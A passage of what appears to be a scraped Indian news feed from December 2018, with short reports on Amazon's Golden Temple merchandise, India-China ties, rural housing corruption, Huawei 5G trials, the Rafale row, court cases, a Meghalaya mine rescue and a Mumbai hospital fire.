Amazon's website as a message that "Sorry, we couldn't find that page" appears when running a search for the items. Singh said that using religious or spiritual imagery on products that come into contact with unhygienic surfaces is offensive to all faiths that originated in the East. The Golden Temple is no such exception and should never appear on rugs, bathmats, and toilet seat covers. Such items are deeply offensive to Sikhs everywhere and other followers of Eastern religions. The Sikh Coalition asked Amazon that the objectionable items be permanently prohibited from sale and hoped that Amazon will do more to ensure similar products do not appear on its platform. "We request that you notify your sellers and affiliates to refrain from publishing culturally inappropriate and offensive merchandise on your platforms," Singh said. The group also asked individuals to send a direct message to Amazon explaining why these products are offensive to the Sikh community. Punjab chief minister Amarinder Singh has also condemned Amazon for stocking the products, including a toilet seat cover, and demanded an apology from the retail giant. With regional and international role of India and China evolving, there are expectations from the two countries to lead Asia and usher in an Asian century, External Affairs Minister Sushma Swaraj said on Thursday. New Delhi: With regional and international role of India and China evolving, there are expectations from the two countries to lead Asia and usher in an Asian century, External Affairs Minister Sushma Swaraj said on Thursday. Swaraj made the assertion in her message that was read out at the the inaugural session of the third India-China Think-Tanks Forum being hosted by the Indian Council of World Affairs (ICWA) from 20-21 December in New Delhi. Her remarks came ahead of Chinese foreign minister Wang Yi's visit to India to attend the first meeting of the High Level Mechanism on People-to-People Exchanges. Talking about the visit at a media briefing, Ministry of External Affairs spokesperson Raveesh Kumar said this was the first such meeting that will be co-chaired by Swaraj and Wang and the decision to establish the forum was taken at the Wuhan summit between Prime Minister Modi and President Xi Jinping. There will be a bilateral meeting between the External Affairs Minister and her Chinese counterpart after which they will deliver their statements. The opening remarks at the inaugural session of the India-China Think-Tanks Forum were delivered by Ambassador TCA. Raghavan, DG, ICWA, and Gao Peiyong, vice-president, Chinese Academy of Social Sciences. Messages from the Indian and Chinese Foreign ministers were also read out at the start of this year's edition themed "Civilization Connect towards an Asian Century". "Through quality deliberations in its last two editions, this forum has established itself as a useful framework for regular and continuous discussions between our academics and scholars, and has enabled them to provide structured advice and recommendations to governments of both sides," Swaraj said in her message read out by Pranay Verma, joint secretary, MEA. These discussions which are held in the spirit of friendship and openness have greatly contributed to enhancing mutual trust and understanding between our two countries, she said. "As our relations our deepening and our regional and international role evolving, there are expectations from our two countries to lead Asia and usher in an Asian century," the minister said. Chinese foreign minister Wang, in his message read out by the Chinese ambassador Luo Zhaohui, said the think tank forum has helped in deepening mutual understanding and enhancing mutual trust between the two countries. Ambassador Luo said following the Wuhan summit, relations were on the right track. There is still no official state-wise data available on either the integration or the settlement of IAY beneficiaries. While the ruling party is pushing to hit the flashy 1 crore pucca houses target as the country approaches a critical election year, these IAY homes seem all but forgotten as they dont contribute to the numbers of PMAY-G. In the Saidpur village of Lalitpur district, Uttar Pradesh, only six houses have been built under various central rural housing schemes in the last five years. Because of these schemes being embroiled in corruption controversies, most houses stand incomplete and in unlivable conditions. Our houses are incomplete because we got into an argument with the village head. He told us that if we gave him Rs 20,000, hed get our houses constructed, says Lakhan, a Saidpur resident. The villagers were supposed to receive three installments, totaling Rs 70,000, to be used for construction of adequate housing under the Indira Awaas Yojna (IAY). The IAY was a flagship programme introduced by the Ministry of Rural Development in 1985 to provide assistance to BPL families for constructing safe and durable shelter. We gave the head Rs 10,000 from the government allocation because he told us he could get our houses built with money to spare, says Lakhan, But after construction, he pocketed all the Rs 15-20,000 that was left too. The head had told us hed get our houses constructed in three months and give it to us, says Janki, another resident and IAY beneficiary, Years have passed, not just three months, but nothing has happened. But according to ex-village head Dayaram Srivastav, the problem was not of corruption but of wrongful occupation. The six houses were being occupied by the wrong people, he protests, This is why the villagers complained to the BDO, who informed the tehsildar, who put a stay order on the construction. He also dismisses the charges of money exchanging hands, chalking it up to political maneuvering: There was an investigation conducted by the DPRO about the allegations of money-lending and corruption, and nothing was found. The money was in their accounts. They could have built their houses with that money, Srivastav adds, shifting the responsibility of incomplete structures onto the villagers themselves. The money has been sent to them, but theyve used it for whatever purposes they like, says new Village Development Officer appointee Khemchand Varma, shrugging his shoulders at the problem, he continues, I wasnt employed here then, but the money would have gone to the beneficiaries bank accounts, nowhere else. The rest is up to them. But even these six families just six in the entire village havent received the full promised amount. We have only received Rs 35,000, says Janki. When we complained to the District Magistrate about the head, the controversy just got worse, explains Lakhan. The house hasnt been built; it stands as it is since 2014, adds Janki. The year being 2014 is no coincidence. In 2014, an audit conducted by the Comptroller and Auditor General of India (CAG) found that the IAY was inefficient from non-assessment of housing shortage to low-quality constructions and weak monitoring. It was oft-cited by the BJP to indicate the failure of the ruling government then, and became a cornerstone of their campaign during the 2014 General Elections. Shortly after PM Modi came to power, the Pradhan Mantri Awaas Yojna Grahmin (PMAY-G) (effective from 2016) was the proposed alternative of IAY, to help better realise the dream of sufficient housing. Under PMAY-G, beneficiaries receive a financial assistance of Rs 1.2 lakh, along with at least 90 days of remunerations under the Mahatma Gandhi National Rural Employment Guarantee Act (MGNREGA), and an additional fund of Rs 12,000 each for the construction of toilets under the Swachh Bharat Mission. By 2022, my government will ensure that everyone has a house, PM Modi had said earlier this year in Lucknow. And the namesake schemes are racing towards ambitious targets much earlier than 2022, in time for the crucial 2019 general elections. The PMAY-Gs original target of 1 crore pucca houses by March 2019 is currently on the line. Until July 2018, only 43.54 lakh houses were built to completion under the PMAY-G, and while there is no doubt that the pace of construction has increased from 314 days under IAY to 114 days now the rate will have to be doubled in the next three months in order to meet this target. The Ministry of Rural Development is confident that this is doable, with success stories like Uttar Pradeshs under their belt. Since its launch in 2016, 8.9 lakh houses were built to completion in Uttar Pradesh under PMAY-G the third highest numbers in the country. Uttar Pradesh in fact topped the list of houses completed in the financial year of 2017-2018. But unheard amongst all of these celebratory statistics is the status of the homes of the IAY beneficiaries. Although IAY was technically replaced by the PMAY-G, the Centre kept its files open till June 2018 to ensure the completion of the 32 lakh incomplete houses under the old scheme. The Ministry of Rural Development claims that the thrust from 2015 to 2017 was to complete IAY houses, totaling at 50.47 lakh houses finally being finished. But the government is struggling to integrate beneficiaries from the IAY to the restructured PMAY-G, especially because of the difference in total financial assistance allocated. There is still no official state-wise data available on either the integration or the settlement of IAY beneficiaries. While the ruling party is pushing to hit the flashy 1 crore pucca houses target as the country approaches a critical election year, these IAY homes seem all but forgotten as they dont contribute to the numbers of PMAY-G. Half-built walls and broken roofs seem to be collateral damage. There are countless problems because we dont have completely constructed houses, says Saidpuri native Halkai, Especially during monsoons, when we are unable to find proper shelter for our families. Khabar Lahariya is a women-only network of rural reporters from Bundelkhand. Indias reversal of decision on sending Huawei an invitation for 5G field trials sends all the wrong messages about its stance vis-a-vis China. Indias move to invite Huawei for 5G field trials in India after initial hesitation and despite global security concerns over the Chinese telecom giants alleged role as a conduit of Chinese governments intelligence network reveals the changing nature of Indias diplomatic engagement with China. It has decidedly shifted away from the broader policy of standing up to China (as we saw during Doka La) towards a more accommodative posture. The big question is, is it working? In its latest report on the India-China ties, a parliamentary panel has said that Indias pusillanimous China strategy is not working. The Parliaments standing committee on external affairs, led by Congress leader Shashi Tharoor, has criticised India for being too cautious on Chinas red lines on Taiwan and Tibet and has suggested that this conventionally deferential foreign policy towards China should be replaced by a flexible approach that seeks to use all options including its (Chinas) relations with Taiwan, as part of such an approach. India has robust trade and economic ties with Taiwan but has recently given in to Chinese demands to refer to the nation as Chinese Taipei. The problem is, Indias accommodative posture towards China a result of the over-correction in strategy in the aftermath of the Doka La standoff is a fundamental misreading of the Chinese world view that respects strength and disdains weakness. It may string along with India in its attempts of reset but is likelier to interpret reconciliatory gestures as signs of weakness. A bilateral relationship based on this misconception can never be set on equal terms. It is not surprising to note that Indias deference on Taiwan and Tibet goes unreciprocated. Beijing suffers from no compulsions to respect Indias concerns on Pakistan-occupied-Kashmir or Arunachal Pradesh. Conversely, there are ample examples that when bullying tactics are met with equally stern and resolute responses, China eventually makes a tactical withdrawal. For instance, Beijings fire-and-brimstone response towards Donald Trumps imposition of tariffs on Chinese imports has slowly but surely given way to a spirit of compromise. At a recent Politburo meeting, Chinese leaders were far more circumspect and mindful of the impact of a protracted trade war with the US on Chinese economy. China has announced more concessions to the US including buying of American soybean, cutting tariffs on imported cars made in the US and promising to modify its industrial policy to pacify Trump. As this Hindustan Times piece points out, Trump has shown how active pressure on China, as opposed to Indian-style imploration, can yield concessions. Whereas deference to China usually invites bullying, standing up to it generates respect and compromise. It is here that Indias reversal of decision on sending Huawei an invitation for field trials sends all the wrong messages. There is not a shadow of doubt that India was acting under Chinese pressure. Media reports in September, quoting telecom secretary Aruna Sundararajan, had pointed out that India has excluded both Huwaei and ZTE from trials for the next generation telecom technology and invited Cisco, Samsung, Nokia and Ericsson. Though India never clarified the reason, it was widely speculated to be security concerns over Huaweis close ties with the Chinese government. Under Chinas 2017 national intelligence law, Organisations and citizens shall, in accordance with the law, support, co-operate with, and collaborate in national intelligence work and guard the secrecy of national intelligence work they are aware of" Chinese technological companies are vulnerable to the possibility of being used as espionage tools of the Communist Party through cyber snooping. This danger is more pronounced in the case of Huawei which is closer to the Chinese government than many other Chinese firms. Its founder Ren Zhengfei is a former technologist in the Peoples Liberation Army and, as a report in The Conversation points out, as far back as 2003, the company was accused of stealing intellectual property, including from US-based network hardware maker Cisco. The companies settled out of court, but Huawei has been accused of stealing other firms intellectual property and violating international economic sanctions. This has prompted the US, Australia and New Zealand to ban the Chinese firm from providing 5G technology. The UK, Germany and Canada may follow suit. Curiously in Indias case, that ban was reversed, and the Shenzen-based Huawei later announced that it has received an invitation from the Department of Telecommunications (DoT) to participate in the trials. India, the second-largest mobile market in the world after China and the fastest growing, is an important market for the Chinese telecom giant. Media reports indicate that Huawei had lodged a protest with India, following which India apparently relented. It is difficult to imagine that the protest was not accompanied by a "nudge" from Beijing. The Chinese state-controlled Global Times newspaper, incidentally, came out with an editorial soon after India had excluded Huawei and ZTE in September. In that editorial, the newspaper claimed that Indias move was aimed at pleasing the US by adopting a tough stance against China.. These are classic pressure tactics that India grew familiar with during the standoff in Doklam. There is still a possibility that Indias reversal of decision on Huawei is a placatory move and the controversial Chinese firm may eventually be kept away from taking part in nationwide rollout of next-gen 5G network. A report in Livemint notes that India may hold inter-ministerial talks before taking a final call. An official was quoted as saying by the newspaper, as saying, that right now, Huawei is doing small-scale trials with operators and not large, nationwide field trials and permission for trials can be revoked also if the government wants. The larger point, though, remains unanswered and it is not clear whether India understands the true nature of Chinese coercive statecraft. China has detained three Canadian individuals to put pressure on Canada over the arrest of a senior Chinese telecom executive. Top Huawei executive Meng Wanzhou, daughter of the companys founder, was arrested by Canada at the request of the United States in Vancouver. She now awaits extradition to the United States where she faces charges of violating United States law over Iran sanctions. In retaliation, China has now detained a third Canadian national, and in each case has denied any links with Mengs arrest. It will require more than accommodation and reconciliation from India to normalise ties with China. It can never be based on one-sided concessions, much less for a country that seeks for itself a central role in maintaining the balance of power in Asia. Congress leader Veerappa Moily on Wednesday sparked controversy by attacking IAF chief BS Dhanoa and calling him a liar over the Rafale deal. Dhanoa has earlier stated that the Supreme Court has given a fine judgment on petitions against the Rafale deal. Congress leader Veerappa Moily on Thursday sparked controversy by attacking IAF chief Air Chief Marshal BS Dhanoa and calling him a "liar" over the Rafale deal. Dhanoa had earlier stated that the Supreme Court gave a fine judgment on petitions against the Rafale deal. Moily went on to accuse the IAF chief of "suppressing the truth" and stating that the IAF chief himself "is not fine". In an exclusive interview to News18, Moily went on to clarify that he never called Dhanoa a "liar", stating that his words were taken out of context, but refused to apologise. He said that he originally wanted to ask what Dhanoa meant by "fine judgment". Moily also pushed for a Joint Parliamentary Committee (JPC) probe, stating that Supreme Court is not competent enough. He claimed that the Supreme Court judgment is a "web of lies" as well. BS Dhanoa had on Wednesday called Rafale a game changer and said the Supreme Court has given a fine judgment on petitions against the deal with France on the military aircraft. He also cautioned against politicisation of defence purchases, suggesting that this had earlier led to the delay in the army acquiring the Bofors gun. Dhanoa said as far as the technology is concerned, there is no argument against the Rafale aircraft. His remarks on the sidelines of a joint military exercise with Russia come days after the Supreme Court dismissed petitions seeking a probe into the Rafale deal. The Congress has alleged irregularities in the deal for 36 aircraft and claimed that the Narendra Modi government is buying them at a price much higher than the one that was being negotiated by the previous government. Dhanoa said the Indian Air Force has made sure that the aircraft has the best systems onboard. He said the planned procurement had already taken a long time and during this period India's neighbours have upgraded their own defence arsenal. We need it, given our strategic scenario, he said. The air chief appeared to back the government's assertion that revealing details on the price of the fully loaded aircraft would lead to rivals getting to know its capabilities. He said the taxpayers had the right to know where their money goes, but the Comptroller and Auditor General of India (CAG) was there to ensure that it was being well spent. Referring to the shortfall in the number of aircraft, Dhanoa said the IAF is trying to optimise its resources. On Wednesday, Congress said that the Supreme Court's judgment in the Rafale case is "self-contradictory" as it was misled by the government and the court should recall it to restore its credibility. With inputs from PTI Rejecting Pakistan's claim of ownership of the Jinnah House in Mumbai, the MEA said the government is considering using the Jinnah House for holding meetings and hosting banquets for foreign dignitaries New Delhi: India Thursday strongly rejected Pakistan's claim of ownership of the Jinnah House in Mumbai and said the property belongs to it. "Pakistan has no locus standi as far as this property is concerned. It is a government of India's property and we are in the process of renovating it," External Affairs Ministry Spokesperson Raveesh Kumar said. The Jinnah House on Malabar Hill in Mumbai was designed by architect Claude Batley in European style and Pakistan's founder Mohammad Ali Jinnah lived there in the late 1930s. Pakistan has been demanding that the property be handed over to it for housing its Mumbai consulate. Kumar said the government is considering putting the Jinnah House into use on the lines of the Hyderabad House in New Delhi. The government uses the Hyderabad House for holding meetings and hosting banquets for foreign dignitaries. The MEA spokesperson's comments came on a day Pakistan asserted that the Jinnah House belonged to it and any attempt by India to take the building under its control will not be accepted. "We have a claim over it (Jinnah House) and we do not accept that anyone tries to take custody of it. They (Indians) have already accepted that it belongs to Pakistan. We have record of it. They (Indians) have accepted that it belongs to Pakistan," Pakistan Foreign Office spokesperson Mohammad Faisal said in Islamabad. Pakistan's claim over the property came days after External Affairs Minister Sushma Swaraj, in a letter to Mumbai city BJP legislator Mangal Prabhat Lodha, said the government was in the process of renovating the Jinnah House. Jinnah's daughter Dina Wadia had in August 2007 approached the Bombay High Court claiming that being the sole legal heir of Jinnah, she should get the possession of the house. After her death, her son and Wadia Group chairman Nusli Neville Wadia is carrying on the litigation. Asked about the court case initiated by Dina Wadia, Kumar said, "It has nothing to do with who is contesting. This property belongs to government of India," adding the nationality of the petitioner is not in question. A Delhi court Thursday granted interim bail till 19 January to RJD president Lalu Prasad in two Indian Railway Catering and Tourism Corporation (IRCTC) scam cases filed by the CBI and the ED. New Delhi: A Delhi court Thursday granted interim bail till 19 January to RJD president Lalu Prasad in two Indian Railway Catering and Tourism Corporation (IRCTC) scam cases filed by the CBI and the ED. Special Judge Arun Bharadwaj granted relief to Prasad after he was produced before the court through video conference from a Ranchi jail, where he is lodged in another case, as he was unable to come due to health reasons. The court directed both the Central Bureau of Investigation (CBI) and the Enforcement Directorate (ED) to file their replies to Prasad's application seeking regular bail in both the cases. The cases relate to alleged irregularities in granting operational contract of two IRCTC hotels to a private firm. The court had earlier granted regular bail to Prasad's wife Rabri Devi and son Tejashwi Yadav in the CBI case, while they are on interim bail in the ED matter, which was extended till 19 January, the next date of hearing. In its charge sheet, the CBI had said there was enough evidence against Prasad, Rabri, Tejashwi and other accused, including Additional Member of Railway Board B K Agarwal, who was then the group general manager of the IRCTC. Besides them, former Union minister Prem Chand Gupta, his wife Sarla Gupta, then managing director of IRCTC P K Goyal and then IRCTC director Rakesh Saxena are also named as accused in the charge sheet. Among others named in the charge sheet are then group general managers of IRCTC VK Asthana and RK Goyal and Vijay Kochhar, Vinay Kochhar, both directors of Sujata Hotels and owners of Chanakya Hotel. Delight Marketing Company, now known as Lara Projects, and Sujata Hotels Private Limited have also been named as accused firms in the charge sheet. The CBI had registered a case in July last year and carried out searches at 12 locations in Patna, Ranchi, Bhubaneswar and Gurgaon in connection with the case. The charges in the case include criminal conspiracy, cheating and corruption, the CBI had said. According to the charge sheet, between 2004 and 2014, a conspiracy was hatched in pursuance of which BNR hotels of the Indian Railways, located at Puri and Ranchi, were first transferred to the IRCTC and later, for its operations, maintenance and upkeep, it was given on lease to Sujata Hotel Private Limited, which is based in Patna, Bihar. It is alleged that the tender process was rigged and manipulated and the conditions were tweaked to help the private party - Sujata Hotels. It also claimed that on 25 February, 2005 Vinay Kochhar sold commercial property in the form of three acres of land in Patna through 10 sale deeds for Rs 1.47 crore to Delight Marketing, in which Sarla Gupta was a director as a front benami holder on behalf of Prasad. Between 2010 and 2014, this land was further transferred, the CBI alleged. In 2001, it was decided to handover the management of catering services of the Indian Railways, including of its hotels, to the IRCTC. Two such hotels -- BNR Hotels in Ranchi and Puri -- were also identified and a memorandum of understanding (MoU) was signed between the railways and the IRCTC on 19 March, 2004. According to an FIR flied by the CBI, Prasad, the then railway minister, entered into criminal conspiracy with the owner of Sujata hotels, Sarla Gupta, the wife of his close associate Prem Chand Gupta, an Rashtriya Janata Dal (RJD) MP in the Rajya Sabha, and IRCTC officials for "undue pecuniary advantage to himself and others". The probe agency also alleged that BNR hotels were transferred to Sujata Hotels through a "rigged and manipulated" tender process managed by PK Goyal, the then managing director of the IRCTC. The CBI enquiry shows that the railways sought bids for developing, operating and maintaining Rail Ratna Hotels on September 16, 2006. The probe agency has alleged that Prasad was aware about the whole process and was keeping a track of the tender proceedings. It surfaced that while over 15 bid documents were received for both the hotels, the IRCTC had no records of bidders other than Sujata Hotels. It was also alleged that with an intention to render undue pecuniary gains to Sujata Hotels, the bid of another hotel was deliberately and unreasonably given low marks under technical evaluation. "As a result, Sujata Hotels remained the only bidder in financial evaluation and was qualified," the CBI had alleged, adding that after the tender was awarded to Sujata Hotels, the ownership of Delight Marketing also changed hands from Sarla Gupta to Rabri and Tejashwi between 2010 and 2014. By this time, Prasad had demitted the office of railway minister. He became Bihar's chief minister in 1990, but had to resign in 1997 following corruption charges in the multi-crore rupees fodder scam. From 1997 to 2005 his wife Rabri ruled as the chief minister of the state and was replaced by JD(U) president Nitish Kumar. Prasad also served as Union Railways minister from 2004 to 2009. The RJD again came back to power after forging an alliance with its bitter rival Janata Dal (United), led by Kumar in 2015, and Tejashwi Yadav became the deputy chief minister. However, Kumar parted ways from the RJD in July last year marking the end of Tejashwi's tenure. Based on the CBI case, the ED also lodged a case of money laundering against Prasad, Rabri, Tejashwi and others. The Maharashtra government Thursday approved a sum of Rs 4,089 crore for the Tembhu lift irrigation scheme in Satara district; project will benefit the perennially drought-prone areas of Satara, Solapur and Sangli districts Mumbai: The Maharashtra government Thursday approved a sum of Rs 4,089 crore for the Tembhu lift irrigation scheme in Satara district. The scheme, which will also benefit Satara's adjoining districts in Western Maharashtra, was approved by the state Cabinet at its meeting in Mumbai, said an official in the Chief Minister's Office (CMO). The irrigation project will benefit the perennially drought-prone areas of Satara, Solapur and Sangli districts. The scheme is about constructing barrages on the river Krishna near Tembhu village and lifting 22 billion cubic feet water to irrigate 80,000-hectare areas in seven talukas -Karad, Kadegaon, Tasgaon, Khanapur, Atpadi, Kavathe-Mahankal and Sangola - spread across Satara, Sangli and Solapur districts, he said. The project was conceptualised way back in 1996 at a cost of Rs 1,416 crore. As per the revised plan, the project, which now entails a cost of Rs 4,089 crore, is expected to get a boost by the distribution of water through pipes and promote micro-irrigation in surrounding areas, said the official. In another decision, the Cabinet decided to release water from the Tukai lift irrigation project in 20 percolation reservoirs in drought-prone areas of Ahmednagar district. Water will also be released in three reservoirs of small irrigation projects. This will help provide water for irrigation and drinking water purpose in Ahmednagar district, the official said. Swarn Singh was assaulted with a deadly weapon by Rory Benson in December 2017, according to Sikhs civil rights group The Sikh Coalition. He suffered a scalp laceration and a skull fracture as a result of the attack and was rushed to the hospital. Benson was arrested. New York: A man in the US has been sentenced to 15 months in prison for brutally attacking a 53-year-old Indian-origin Sikh taxi driver in Seattle last year. Swarn Singh was assaulted with a deadly weapon by Rory Benson in December 2017, according to Sikhs civil rights group The Sikh Coalition. Benson, who pleaded guilty to assaulting him, was sentenced to 15 months in prison by a court in Seattle on Friday. Singh, who maintains Sikh articles of faith including unshorn hair and a turban, had parked outside an apartment building to drop off Benson and his mother. Benson, who was sitting in the front passenger seat, attempted to suffocate him with a piece of cloth kept in the taxi to wipe the windshield, the coalition said in a statement. He immediately ran out of the taxi, and Benson grabbed a hammer from his bag, chasing him on foot. Benson hit Singh in the head repeatedly, specifically targeting his turban and knocking it to the ground, it said. He suffered a scalp laceration and a skull fracture as a result of the attack and was rushed to the hospital. Benson was arrested. The coalition said it worked with Singh for 11 months to make sure the Bellevue Police Department and the King County Prosecuting Attorney's Office were properly investigating the incident and reviewing appropriate charges. Singh submitted an impact statement to the King County Superior Court, urging his attacker to recognise the damage caused, detailing his injuries and the impact of the assault on the Sikh community. Mining expert and award winning rescuer Jaswant Singh Gill on Thursday visited the rat-hole coal mine in Meghalaya's East Jaintia Hills. Shillong: Mining expert and award winning rescuer Jaswant Singh Gill on Thursday visited the rat-hole coal mine in Meghalaya's East Jaintia Hills where over a dozen labourers are trapped and suggested that the state government seek help of Coal India in the rescue operation. Gill, who shot to fame after he successfully rescued 64 miners from a flooded quarry in West Bengal in 1989, arrived at Lumthari village in East Jaintia Hills district and expressed concern after seeing the water level at the mine and on receiving inputs about rat-hole mining practised in the state, a police officer said. "The mining expert arrived here Thursday and took stock of the situation. He suggested to the deputy commissioner of the district to seek help from Coal India," SP of East Jaintia Hills, P Sylvester Nongtynger said. Over a dozen miners were reportedly trapped on 13 December after water from nearby Lytein river gushed into the illegal coal pit. All efforts made by the district authorities to trace them have been futile over the past seven days. Chief Minister Conrad K Sangma said all efforts are on the rescue the victims. "The NDRF and the district administration are doing their best... The NDRF are experts for this kind of situation and the MHA is being updated on the situation," Conrad said. One gentleman from Punjab (referring to Gill) is also at the site, the chief minister said, adding that the former mining engineer is a rescue expert. Meanwhile, NDRF team leader SK Singh expressed disappointment that the water level in the nearby Lytein river had risen considerably after incessant rain on Tuesday. "Despite using two 25 hp pumps continuously, the water level in the mine has increased," Singh said. Over 100 personnel from the NDRF, SDRF and the state police are currently camping on top of the 370 feet-deep mine. One person, identified as Krip Chullet, has been arrested so far pertaining to the mine disaster. Chullet was allegedly involved in hiring labourers, overseeing the work and sending them down the shaft. Disaster Management Minister Kyrmen Shylla said there were little chances for the miners to be rescued alive. Admitting that rat-hole mines in Meghalaya are nothing less than "death traps", Shylla said a similar incident in 2012 had claimed lives of 14 miners in South Garo Hills. "It has been a week since the miners were trapped in the pit. Only a miracle can save them," he added. An erroneous approach of the trial court led to 'miscarriage of justice' for a man convicted of allegedly raping his minor daughter 17 years ago, but justice was finally delivered to him when the Delhi High Court acquitted him on Wednesday 10 months after he died while maintaining his innocence until the end. New Delhi: An erroneous approach of the trial court led to "miscarriage of justice" for a man convicted of allegedly raping his minor daughter 17 years ago, but justice was finally delivered to him when the Delhi High Court acquitted him on Wednesday 10 months after he died while maintaining his innocence until the end. The high court noted that neither the probe nor the trial was fair in the case, lodged following a complaint by his daughter, which resulted in him being sentenced to 10 years in jail. Justice RK Gauba said the accused "had been crying foul from day one" by claiming that some boy had abducted and seduced his daughter, who was found to be pregnant when the FIR of rape was lodged in January 1996, but the investigating agency and the trial court paid no heed to his contentions. The father had asked for a DNA test of the foetus by taking samples from the boy in question as well, but the police did not listen and the trial court did not issue any directions for such an investigation, the high court noted. "The investigation was clearly one-sided. At this distance in time, this court can only deplore the inaction on the part of all concerned. In the considered view of this court, there are many a fact and circumstance which have unfortunately been glossed over by the trial court but which render the account given by the prosecutrix to be wholly improbable and unreliable. "Additionally, this court is of the view that neither the investigating agency nor the trial court were fair to the appellant at any stage of the process, this also vitiating the result of the probe and the trial," the high court said in its judgement acquitting the man, who died in February this year. His wife had continued with the appeal. The high court said that the prosecution and the trial court picked out "easy solutions" and the need for a deeper probe, as demanded by the man right from the start, was given a go-by. "The defence evidence, particularly of the close members of the family was discarded. It is sad to note that the trial judge blindly accepted the prosecution story without going into the aspects which render it highly improbable, virtually impossible. "The erroneous approach of the trial court has led to serious miscarriage of justice in the present case unreasonably holding the biological father of raping his own daughter in the teeth of loaded circumstances showing her to be of wayward ways and possibly in liaison with a male acquaintance," it said. It also noted that the kidnapping FIR lodged by the father, after the then 16-year-old girl went missing, was closed without any probe after she lodged a complaint that he had been raping her since 1991. Referring to the facts narrated by the girl before the trial court, the high court observed that "there was no inhibition" on the girl to report the matter and since according to her the rape began from 1991, nothing stopped her from communicating it to her mother, her siblings or other elders in the family. "The delay is indeed inordinate and there are no justifiable reasons for failure to lodge protest. The conduct is undoubtedly unnatural and highly improbable," the high court said adding that if she had been raped in 1991 when she was just 12-years-old, then the consequent physical complications and pain would have been apparent, especially to the mother. On the aspect of no DNA test being carried out by the police, the high court said "the investigating agency and the prosecution appeared to have taken the stand that there was no need for it as from their perspective, it was an open and shut case, there being no reason why the daughter would accuse the father of such acts. "This was neither a fair probe nor a fair trial. The boy was never brought in for DNA testing." According to the girl's complaint, her father, who was an electrician in the Military Engineer Services, had first raped her in 1991 when they were living in Udhampur in Jammu and Kashmir and her mother had gone to her brother-in-law's funeral. Thereafter, whenever he found her alone he used to rape her and this continued after they came back to Delhi, she had alleged. Her version was opposed by her father and mother as well as her elder brother and sister, who had claimed in the trial court that she was poor in studies, was of wayward nature, complaints were being received against her and therefore, her formal schooling was discontinued and she was sent for sewing classes run by an NGO, the high court noted. It also observed that the father had also produced before the trial court his service records which indicated that in 1991 when his wife was away, he was posted in the field and did not get any leave. His family resided 40 km away. The high court also noted that the police made no effort to ascertain whether the boy in question was involved in any manner, even though the mother had testified in the trial court that her daughter had claimed she was molested by him a few days before her disappearance. The high court said that the possibility of physical intimacy between the boy and the girl "required deeper probe. Unfortunately, there has been none". "On the foregoing facts, and in the circumstances, this court is not convinced by the conclusions reached by the trial court. The approach of the trial judge having been wholly misdirected and erroneous, the judgment of conviction cannot be allowed to stand," the high court said in its 22-page decision. The timetables for class 10 and 12 examinations have been released by The Madhya Pradesh Board of Secondary Education (MPBSE) on its official website, mpbse.nic.in. The timetables for class 10 and 12 examinations have been released by The Madhya Pradesh Board of Secondary Education (MPBSE) on its official website, mpbse.nic.in. According to the timetable, the Class 12 examinations, including VOC, will be held from 2 March, 2019 to 2 April, 2019. The Class 10 exams will be conducted from 1 March, 2019 along with third language papers including Sanskrit, Urdu, Marathi, Bengali, Telugu, Tamil etc. and conclude on 27 March. How to Download the timetable - Visit the official website of Madhya Pradesh Board of Secondary Education at mpbse.nic.in. - Click on the Time Table option visible on the top. - When a new page opens, click on the link that says, HIGH SCHOOL/HIGHER SECONDARY/HIGHER SECONDARY (VOCATIONAL)/DEAF DUMP/PHYSICAL/DPSE CERTIFICATE EXAM 2019. - As the pdf opens, download it and keep the file for future reference. The examinations will be held in two time schedules, 9 am to 12 pm and 1 pm to 4 pm. The morning shift will be held for the general candidates while the afternoon shifts will be held for "Divyang" candidates. Click here for the direct link to the timetable. The death toll in a fire in a government hospital in Mumbai, that left 175 injured, rose to 10 on Thursday after one more person succumbed to their injuries. The fire had broken out in the government-run ESIC Kamgar Hospital at Marol in suburban Andheri on Monday. The toll in a fire at a government hospital in Mumbai, that left 175 injured, rose to 10 on Thursday after one more person succumbed to their injuries. The fire had broken out in the government-run ESIC Kamgar Hospital at Marol in suburban Andheri on Monday. An official said 19 of the injured were taken to civic-run Cooper Hospital where two were declared brought dead. Another 33 were shifted to Seven Hills Hospital in Andheri where three were declared dead, he said. Forty were taken to Holy Spirit Hospital, Andheri (East), where one of them was declared brought dead, the official said. Some of the injured were discharged, while the others were undergoing treatment in different hospitals with some of them in the ICU, he said. The development comes after two persons were arrested on Wednesday in connection with the fire. "Those arrested were identified as Nilesh Mehta and Nitin Kamble. They are supervisors of a construction company, which was overseeing the construction of a new building of the hospital," a senior official said. The duo was booked under IPC sections 304 A (causing death by negligence), 338 (causing grievous hurt by act endangering life or personal safety of others) and others. Recalling the horror, a patient, Santosh Kadam, said, "I was on the fourth floor and was going to the ground floor to get my MRI done. Suddenly, nurses and other staffers started shouting and told us to vacate the building since a fire had broken out. I along with my other relatives came down safely." Another patient Girish Patel said, "I saw smoke emanating from the third and fourth floors. There was thick layer of smoke. People panicked and started running helter-skelter before hospital staff came and advised us to vacate the floor quietly." According to another civic official, over 160 patients were admitted in the hospital at the time of the blaze. Milind Ogle, the deputy chief fire officer of the MIDC area, told PTI, "Our team had found some lacunae in an under-construction building coming up adjacent to the hospital and suggested their rectification." "The hospital administration was in the process of complying with our suggestions. Meanwhile, this incident took place in the old hospital building," Ogle said. The 325-bed hospital was constructed in 1970s, the officials said, adding police and hospital authorities have vacated the building till further notice. Fire brigade personnel had to break the glasses of the building's facade to evacuate stranded patients, they said. With inputs from agencies Two persons were Wednesday arrested in connection with the fire in a government hospital in Mumbai that claimed the lives of nine people and left 175 injured. Mumbai: Two persons were Wednesday arrested in connection with the fire in a government hospital in Mumbai that claimed the lives of nine people and left 175 injured. The fire had broken out in the government-run ESIC Kamgar Hospital at Marol in suburban Andheri on Monday, killing nine people and injuring 175 others. "Those arrested were identified as Nilesh Mehta and Nitin Kamble. They are supervisors of a construction company, which was overseeing the construction of a new building of the hospital," a senior official said. The duo was booked under IPC sections 304 A (causing death by negligence), 338 (causing grievous hurt by act endangering life or personal safety of others) and others. As many as 175 people, including some children, were injured in the incident and were currently undergoing treatment at various hospitals across the city. Nearly 375 people, including patients and visitors, were in the five-floor hospital when the fire broke out on Monday, an official had said. The BJP has previously launched similar attacks on the very institutions that Congress has been accused of 'humiliating'. The Opposition had made similar accusations against the BJP, and had demanded apologies. In a stinging counter-offensive against the Congress, Prime Minister Narendra Modi on Wednesday said that the party had "humiliated" institutions important to democracy, like the Indian Army and the Comptroller and Auditor General of India (CAG). "If you thought they (the Congress) only had a problem with EC and EVMs, now wait. They have humiliated the army, CAG and every institution important to our democracy," Modi said. Th prime minster was 